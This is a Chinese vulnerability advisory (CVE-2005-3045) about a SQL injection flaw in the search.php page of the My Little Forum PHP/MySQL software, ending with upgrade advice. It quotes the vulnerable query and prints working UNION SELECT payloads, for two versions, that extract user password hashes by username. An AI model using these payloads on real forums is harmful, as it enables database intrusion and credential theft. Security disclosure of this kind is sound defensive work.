CVE:CVE-2005-3045
CNNVD:CNNVD-200509-235
my little forum是一套基于PHP和MySQL的互联网论坛应用程序。该应用程序采用传统树状视图展示信息，并支持图片上传、模板引擎、BB代码和表情符号等。
My Little Forum中存在SQL注入漏洞，成功利用这个漏洞的攻击者可以完全入侵基础数据库系统。
在search.php的第144行：
...
 $result = mysql_query("SELECT id， pid， tid， DATE_FORMAT(time + INTERVAL ".
 $time_difference." HOUR，'".$lang['time_format']."') AS Uhrzeit，
 DATE_FORMAT(time + INTERVAL ".$time_difference." HOUR， '".$lang['time_format']."')
 AS Datum， subject， name， email， hp， place， text， category FROM ".$forum_table."
 WHERE ".$search_string." ORDER BY tid DESC， time ASC LIMIT ".$ul."， "
 .$settings['search_results_per_page']， $connid);
...
然后在搜索页面，选择"phrase"，然后键入：
[whatever]%' UNION SELECT user_pw， user_pw， user_pw， user_pw， user_pw， user_pw，
user_pw， user_pw， user_pw， user_pw， user_pw， user_pw FROM forum_userdata where
user_name='[username]' /*
由于没有过滤$searchstring变量，如果关闭了magic quote的话，就可以得到任何管理员/用户口令哈希。
1.6beta版也受漏洞影响：
...
$result = mysql_query("SELECT id， pid， tid， UNIX_TIMESTAMP(time + INTERVAL \
".$time_difference." HOUR) AS Uhrzeit， subject， name， email， hp， place， text， \
category FROM ".$db_settings['forum_table']." WHERE ".$search_string." ORDER BY tid \
DESC， time ASC LIMIT ".$ul."， ".$settings['search_results_per_page']， $connid);
...
在注入字符串中删除语句，可得到同样的结果
[whatever]%' UNION SELECT user_pw， user_pw， user_pw， user_pw， user_pw， user_pw，
user_pw， user_pw， user_pw， user_pw， user_pw FROM forum_userdata where
user_name='[username]' /*
solution:Upgrade my_little_homepage my_little_forum to a higher version than 1.3,1.5,and avoid the version 1.3,1.5